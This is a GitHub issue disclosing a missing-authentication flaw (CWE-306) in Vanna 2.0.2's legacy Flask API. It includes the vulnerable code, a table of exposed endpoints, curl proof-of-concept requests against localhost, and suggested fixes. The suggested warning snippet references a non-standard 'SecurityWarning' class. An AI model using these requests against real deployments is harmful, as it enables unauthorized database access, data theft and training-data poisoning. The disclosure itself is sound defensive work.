New issue

c3b29ce20ce560efdc6f6714612a0002 #2

Open

yidaozhongqing opened 3 weeks ago Owner

Unauthorized access to all API endpoints

Vendor

Vanna AI

Product

Vanna

version

2.0.2

Download

https://github.com/vanna-ai/vanna

Basic Information

- **Vulnerability Type:** CWE-306 (Missing Authentication for Critical Function)
- **Severity:** Critical
- **CVSS 3.1 Score:** 9.1
- **CVSS 3.1 Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The Vanna legacy Flask API (`VannaFlaskApp`) defaults to `NoAuth()` as its authentication backend, which accepts all requests without requiring any credentials. This exposes 20+ API endpoints — including SQL execution (`/api/v0/run_sql`), SQL injection (`/api/v0/update_sql`), training data management (`/api/v0/train`, `/api/v0/remove_training_data`), and function management (`/api/v0/create_function`, `/api/v0/delete_function`) — to unauthenticated remote access.

This is distinct from the v2 API missing authentication (XXXX-2) as it affects the legacy `/api/v0/*` endpoints which are used by existing Vanna 0.x deployments and remain available in Vanna 2.0.2 for backward compatibility.

Affected Component

- **File:** `src/vanna/legacy/flask/__init__.py`, line 149
- **Class:** `VannaFlaskApp`
- **Default parameter:** `auth: AuthInterface = NoAuth()`

Root Cause

```python
# src/vanna/legacy/flask/__init__.py, lines 145-153
def __init__(
    self,
    vn: VannaBase,
    cache: Cache = MemoryCache(),
    auth: AuthInterface = NoAuth(),    # ← Default: no authentication!
    debug=True,
    allow_llm_to_see_data=False,
    chart=True,
):
```

The `NoAuth` class:

```python
class NoAuth(AuthInterface):
    def get_user(self, request) -> any:
        return None  # No user extraction

    def is_logged_in(self, user) -> bool:
        return True  # Always returns True — no authentication check!

    def login_form(self) -> str:
        return ""
```

Every endpoint decorated with `@self.requires_auth` calls `self.auth.is_logged_in()`, which always returns `True` under `NoAuth()`.

Exposed Endpoints (20+)

All of the following endpoints are accessible without authentication under default configuration:

Method	Path	Function	Risk
GET	`/api/v0/get_config`	Get server configuration	Info disclosure
GET	`/api/v0/generate_questions`	Generate suggested questions	LLM cost
GET	`/api/v0/generate_sql`	Generate SQL from question	LLM cost + SQL exposure
GET	`/api/v0/run_sql`	**Execute SQL query**	**Full DB access**
POST	`/api/v0/update_sql`	**Store arbitrary SQL**	**SQL injection**
POST	`/api/v0/fix_sql`	Fix SQL errors	LLM cost
GET	`/api/v0/download_csv`	Download query results	Data exfiltration
GET	`/api/v0/generate_plotly_figure`	Generate charts	LLM cost
GET	`/api/v0/get_training_data`	List training data	Info disclosure
POST	`/api/v0/remove_training_data`	**Delete training data**	**Data destruction**
POST	`/api/v0/train`	Add training data	Data poisoning
GET	`/api/v0/create_function`	Create functions	Code injection risk
POST	`/api/v0/update_function`	Update functions	Code injection risk
POST	`/api/v0/delete_function`	Delete functions	Functionality disruption
GET	`/api/v0/generate_followup_questions`	Generate follow-ups	LLM cost
GET	`/api/v0/generate_summary`	Generate summaries	LLM cost
GET	`/api/v0/load_question`	Load saved questions	Info disclosure
GET	`/api/v0/get_question_history`	Get question history	Info disclosure
GET	`/api/v0/generate_rewritten_question`	Rewrite questions	LLM cost
GET	`/api/v0/get_all_functions`	List all functions	Info disclosure

Note on affected deployment mode: This vulnerability affects the **legacy Flask API** (`/api/v0/*` endpoints) deployed via `VannaFlaskApp`. The v2 API (`/api/vanna/v2/*`) has a similar issue (reported separately as XXXX-2) but uses a different server class (`VannaFastAPIServer`). Both are included in the vanna 2.0.2 package.

Proof of Concept (Verified on Running Instance)

Tested against Vanna 2.0.2 Legacy Flask server at `http://localhost:8000`.

Step 1: Access server configuration without credentials

```
curl -s http://localhost:8000/api/v0/get_config
```

Actual response:

```
{
  "type": "config",
  "config": {
    "allow_llm_to_see_data": false,
    "chart": true,
    "debug": true,
    "sql": true,
    "version": "2.0.2",
    ...
  }
}
```

Step 2: Access question history without credentials

```
curl -s http://localhost:8000/api/v0/get_question_history
```

Actual response:

```
{"type": "question_history", "questions": [...]}
```

Raw HTTP Request (for Burp Suite / Yakit)

```
GET /api/v0/get_config HTTP/1.1
Host: localhost:8000
```

Returns server configuration. No authentication required.

Impact

- **Database access:** Combined with `/api/v0/update_sql` + `/api/v0/run_sql`, unauthenticated attackers can execute arbitrary SQL
- **Data exfiltration:** Query results can be downloaded as CSV via `/api/v0/download_csv`
- **Training data poisoning:** Attackers can add malicious training data via `/api/v0/train`, corrupting future SQL generation
- **Training data destruction:** Attackers can delete training data via `/api/v0/remove_training_data`
- **LLM cost abuse:** Multiple endpoints trigger LLM calls (generate_sql, generate_summary, etc.), incurring costs for the victim
- **Configuration exposure:** `/api/v0/get_config` reveals internal server settings

Suggested Fix

Change the default authentication to require explicit configuration:

```
def __init__(self, vn: VannaBase, auth: AuthInterface = None, ...):
    if auth is None:
        raise ValueError(
            "Authentication is required. Pass an AuthInterface implementation. "
            "Use NoAuth() explicitly only for local development."
        )
    self.auth = auth
```

Or at minimum, log a prominent warning:

```
if isinstance(auth, NoAuth):
    import warnings
    warnings.warn(
        "WARNING: VannaFlaskApp is running with NoAuth(). "
        "All API endpoints are accessible without authentication. "
        "This is NOT safe for production use.",
        SecurityWarning,
        stacklevel=2,
    )
```

References

- https://cwe.mitre.org/data/definitions/306.html
- https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants